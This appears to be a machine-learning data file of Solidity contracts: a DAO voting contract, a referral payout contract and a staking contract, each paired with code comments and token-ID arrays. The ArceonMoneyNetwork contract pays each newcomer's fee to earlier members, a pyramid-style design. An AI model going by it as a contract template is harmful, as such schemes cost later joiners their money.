SafeMathTyped.sub256(previousProposal.votesInOpposition, voteCount); previousProposal.votesCasted[msg.sender] = VoteStatus.Abstain; } } // CG: Only votes allowed on current proposal round. Proposal storage proposal = proposals[_proposalHash]; require(proposal.submissionBatchNumber == currentSubmissionBatchNumber, "ABQDAO/only-votes-on-current-submissions"); // CG: Cast the voter's vote if (_vote == VoteStatus.Support) { proposal.votesInSupport = SafeMathTyped.add256(proposal.votesInSupport, voteCount); proposal.votesCasted[msg.sender] = VoteStatus.Support; } else if (_vote == VoteStatus.Oppose) { proposal.votesInOpposition = SafeMathTyped.add256(proposal.votesInOpposition, voteCount); proposal.votesCasted[msg.sender] = VoteStatus.Oppose; } lastVotedOn[msg.sender] = _proposalHash; emit Ballot(msg.sender, _proposalHash, _vote, voteCount); } event ProposalResolution(bytes32 proposalHash, bool wasPassed); /// @notice Resolve the proposal that was voted on. function resolveProposal() external { require(currentProposalHash != 0, "ABQDAO/no-proposal"); GovernanceState state = proposalsState(); require(state == GovernanceState.VotingStarted || state == GovernanceState.ProposalConclusion, "ABQDAO/cannot-resolve-yet"); bool hasPassed = false; Proposal storage proposal = proposals[currentProposalHash]; if (state == GovernanceState.VotingStarted) { // CG: If a proposal already has more than 50% of all staked votes then it can be passed before voting concluded. if (proposal.votesInSupport >= SafeMathTyped.add256(SafeMathTyped.div256(totalVotesStaked,2), 1)) { hasPassed = true; } // CG: If a proposal already has more than 50% of all staked votes against it then it can be defeated before voting concluded. else if (proposal.votesInOpposition >= SafeMathTyped.add256(SafeMathTyped.div256(totalVotesStaked,2), 1)) { hasPassed = false; } else { revert("ABQDAO/voting-in-progress"); } } else if (state == GovernanceState.ProposalConclusion) { // CG: If the proposal was started voting on less than resolutionWindow ago, then resolve based on amount of votes. if (SafeMathTyped.add256(votingStartedDate, resolutionWindow) > block.timestamp) { // CG: After voting time has concluded it is a pass if more votes are in support than in opposition. hasPassed = proposal.votesInSupport > proposal.votesInOpposition; } // CG: Since voting started resolutionWindow or more ago already and have not been executed yet, fail the proposal. else { hasPassed = false; } } // CG: Emit the event before we lose the hash stored in currentProposalHash. emit ProposalResolution(currentProposalHash, hasPassed); // CG: Close the proposal currentProposalHash = 0; currentSubmissionBatchNumber += 1; submissionStartedDate = 0; votingStartedDate = 0; if (hasPassed) { // CG: Refund deposit to proposer. refundAmount[proposal.proposer] = SafeMathTyped.add256(refundAmount[proposal.proposer], proposal.proposalDeposit); // CG: Call into owner to execute the proposal. daoOwnerContract.performDelegateCall(proposal.proposalAddress, proposal.proposalData); } else { // CG: If it isn't a passed proposal, then the deposit should be burned. burnAmount = SafeMathTyped.add256(burnAmount, proposal.proposalDeposit); } } /// @notice Burns the deposits of failed submissions. function burnDepositsOfFailedSubmissions() external { token.burn(burnAmount); burnAmount = 0; } /// @notice Refund the deposits for `_for` that was associated to succesful resolutions. /// @param _for The address to refund deposits for. function refundSuccessfulSubmissions(address _for) external { uint256 amount = refundAmount[_for]; refundAmount[_for] = 0; bool couldRefund = token.transfer(_for, amount); require(couldRefund, "ABQDAO/could-not-refund"); } }
@notice Refund the deposits for `_for` that was associated to succesful resolutions. @param _for The address to refund deposits for.
function refundSuccessfulSubmissions(address _for) external { uint256 amount = refundAmount[_for]; refundAmount[_for] = 0; bool couldRefund = token.transfer(_for, amount); require(couldRefund, "ABQDAO/could-not-refund"); }
264,738
[ 1, 21537, 326, 443, 917, 1282, 364, 1375, 67, 1884, 68, 716, 1703, 3627, 358, 8667, 764, 2706, 1565, 6170, 18, 225, 389, 1884, 1021, 1758, 358, 16255, 443, 917, 1282, 364, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 16255, 14277, 1676, 7300, 12, 2867, 389, 1884, 13, 203, 3639, 3903, 203, 565, 288, 203, 3639, 2254, 5034, 3844, 273, 16255, 6275, 63, 67, 1884, 15533, 203, 3639, 16255, 6275, 63, 67, 1884, 65, 273, 374, 31, 203, 203, 3639, 1426, 3377, 21537, 273, 1147, 18, 13866, 24899, 1884, 16, 3844, 1769, 203, 3639, 2583, 12, 15195, 21537, 16, 315, 2090, 53, 18485, 19, 15195, 17, 902, 17, 1734, 1074, 8863, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.25; contract ArceonMoneyNetwork { using SafeMath for uint256; address public owner; address parentUser; address[] users; mapping(address => bool) usersExist; mapping(address => address) users2users; mapping(address => uint256) balances; mapping(address => uint256) balancesTotal; uint256 nextUserId = 0; uint256 cyles = 5; constructor() public {owner = msg.sender; } modifier onlyOwner {if (msg.sender == owner) _;} event Register(address indexed user, address indexed parentUser); event BalanceUp(address indexed user, uint256 amount); event ReferalBonus(address indexed user, uint256 amount); event TransferMyMoney(address user, uint256 amount); function bytesToAddress(bytes bys) private pure returns (address addr) { assembly { addr := mload(add(bys, 20)) } } function () payable public{ parentUser = bytesToAddress(msg.data); if (msg.value==0){ transferMyMoney(); return;} require(msg.value == 50 finney); require(msg.sender != address(0)); require(parentUser != address(0)); require(!usersExist[msg.sender]); _register(msg.sender, msg.value); } function _register(address user, uint256 amount) internal { if (users.length > 0) { require(parentUser!=user); require(usersExist[parentUser]); } if (users.length ==0) {users2users[parentUser]=parentUser;} users.push(user); usersExist[user]=true; users2users[user]=parentUser; emit Register(user, parentUser); uint256 referalBonus = amount.div(2); if (cyles==0) {referalBonus = amount;} //we exclude a money wave balances[parentUser] = balances[parentUser].add(referalBonus.div(2)); balancesTotal[parentUser] = balancesTotal[parentUser].add(referalBonus.div(2)); emit ReferalBonus(parentUser, referalBonus.div(2)); balances[users2users[parentUser]] = balances[users2users[parentUser]].add(referalBonus.div(2)); balancesTotal[users2users[parentUser]] = balancesTotal[users2users[parentUser]].add(referalBonus.div(2)); emit ReferalBonus(users2users[parentUser], referalBonus.div(2)); uint256 length = users.length; uint256 existLastIndex = length.sub(1); //we exclude a money wave if (cyles!=0){ for (uint i = 1; i <= cyles; i++) { nextUserId = nextUserId.add(1); if(nextUserId > existLastIndex){ nextUserId = 0;} balances[users[nextUserId]] = balances[users[nextUserId]].add(referalBonus.div(cyles)); balancesTotal[users[nextUserId]] = balancesTotal[users[nextUserId]].add(referalBonus.div(cyles)); emit BalanceUp(users[nextUserId], referalBonus.div(cyles)); } } //we exclude a money wave } function transferMyMoney() public { require(balances[msg.sender]>0); msg.sender.transfer(balances[msg.sender]); emit TransferMyMoney(msg.sender, balances[msg.sender]); balances[msg.sender]=0; } function ViewRealBalance(address input) public view returns (uint256 balanceReal) { balanceReal= balances[input]; balanceReal=balanceReal.div(1000000000000); return balanceReal; } function ViewTotalBalance(address input) public view returns (uint256 balanceTotal) { balanceTotal=balancesTotal [input]; balanceTotal=balanceTotal.div(1000000000000); return balanceTotal; } function viewBlockchainArceonMoneyNetwork(uint256 id) public view returns (address userAddress) { return users[id]; } function CirclePoints() public view returns (uint256 CirclePoint) { CirclePoint = nextUserId; return CirclePoint; } function NumberUser() public view returns (uint256 numberOfUser) { numberOfUser = users.length; return numberOfUser; } function LenCyless() public view returns (uint256 LenCyles) { LenCyles = cyles; return LenCyles; } function newCyles(uint256 _newCyles) external onlyOwner { cyles = _newCyles; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a); } function sub(uint256 a, uint256 b) internal pure returns (uint256 c) { require(b <= a); c = a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a * b; require(a == 0 || c / a == b); } function div(uint256 a, uint256 b) internal pure returns (uint256 c) { require(b > 0); c = a / b; } }
we exclude a money wave
if (cyles==0) {referalBonus = amount;}
12,952,785
[ 1, 1814, 4433, 279, 15601, 10794, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 309, 261, 2431, 1040, 631, 20, 13, 288, 266, 586, 287, 38, 22889, 273, 3844, 31, 97, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2021-11-30 */ /** *Submitted for verification at Etherscan.io on 2021-11-17 */ /** *Submitted for verification at Etherscan.io on 2021-10-17 */ /** *Submitted for verification at BscScan.com on 2021-06-24 */ //SPDX-License-Identifier: UNLICENSED pragma solidity 0.6.12; //import "@nomiclabs/buidler/console.sol"; pragma solidity >=0.4.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor() internal {} function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } pragma solidity >=0.4.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), 'Ownable: caller is not the owner'); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), 'Ownable: new owner is the zero address'); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } pragma solidity >=0.4.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, 'SafeMath: addition overflow'); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, 'SafeMath: subtraction overflow'); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, 'SafeMath: multiplication overflow'); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, 'SafeMath: division by zero'); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, 'SafeMath: modulo by zero'); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } function min(uint256 x, uint256 y) internal pure returns (uint256 z) { z = x < y ? x : y; } // babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) function sqrt(uint256 y) internal pure returns (uint256 z) { if (y > 3) { z = y; uint256 x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } } } pragma solidity >=0.4.0; interface IBEP20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the token decimals. */ function decimals() external view returns (uint8); /** * @dev Returns the token symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the token name. */ function name() external view returns (string memory); /** * @dev Returns the bep token owner. */ function getOwner() external view returns (address); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address _owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity ^0.6.0; /** * @title SafeBEP20 * @dev Wrappers around BEP20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeBEP20 for IBEP20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeBEP20 { using SafeMath for uint256; using Address for address; function safeTransfer( IBEP20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IBEP20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IBEP20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IBEP20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require( (value == 0) || (token.allowance(address(this), spender) == 0), 'SafeBEP20: approve from non-zero to non-zero allowance' ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IBEP20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IBEP20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender).sub( value, 'SafeBEP20: decreased allowance below zero' ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IBEP20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, 'SafeBEP20: low-level call failed'); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), 'SafeBEP20: BEP20 operation did not succeed'); } } } pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, 'Address: insufficient balance'); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(''); require(success, 'Address: unable to send value, recipient may have reverted'); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, 'Address: low-level call failed'); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, 'Address: low-level call with value failed'); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, 'Address: insufficient balance for call'); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue( address target, bytes memory data, uint256 weiValue, string memory errorMessage ) private returns (bytes memory) { require(isContract(target), 'Address: call to non-contract'); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value: weiValue}(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract SmartChef is Ownable { using SafeMath for uint256; using SafeBEP20 for IBEP20; // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. } // Info of each pool. struct PoolInfo { IBEP20 lpToken; // Address of LP token contract. uint256 allocPoint; // How many allocation points assigned to this pool. CAKEs to distribute per block. uint256 lastRewardBlock; // Last block number that CAKEs distribution occurs. uint256 accCakePerShare; // Accumulated CAKEs per share, times 1e12. See below. } // The CAKE TOKEN! IBEP20 public syrup; IBEP20 public rewardToken; // uint256 public maxStaking; // CAKE tokens created per block. uint256 public rewardPerBlock; uint256 public depositFee; address public feeReceiver; // Info of each pool. PoolInfo[] public poolInfo; // Info of each user that stakes LP tokens. mapping (address => UserInfo) public userInfo; // Total allocation poitns. Must be the sum of all allocation points in all pools. uint256 private totalAllocPoint = 0; // The block number when CAKE mining starts. uint256 public startBlock; // The block number when CAKE mining ends. uint256 public bonusEndBlock; event Deposit(address indexed user, uint256 amount); event Withdraw(address indexed user, uint256 amount); event EmergencyWithdraw(address indexed user, uint256 amount); constructor( IBEP20 _syrup, IBEP20 _rewardToken, uint256 _rewardPerBlock, uint256 _startBlock, uint256 _bonusEndBlock, uint256 _depositfee, address _feereceiver ) public { syrup = _syrup; rewardToken = _rewardToken; rewardPerBlock = _rewardPerBlock; startBlock = _startBlock; bonusEndBlock = _bonusEndBlock; depositFee = _depositfee; feeReceiver = _feereceiver; // staking pool poolInfo.push(PoolInfo({ lpToken: _syrup, allocPoint: 1000, lastRewardBlock: startBlock, accCakePerShare: 0 })); totalAllocPoint = 1000; transferOwnership(0x12304B4258bd10c49C433980D98C28C4741f50C1); } function stopReward() public onlyOwner { bonusEndBlock = block.number; } function changeRewardTime(uint256 _startBlock, uint256 _endBlock, uint256 _reward) public onlyOwner { startBlock = _startBlock; bonusEndBlock = _endBlock; rewardPerBlock = _reward; poolInfo[0].lastRewardBlock = startBlock; } // Return reward multiplier over the given _from to _to block. function getMultiplier(uint256 _from, uint256 _to) public view returns 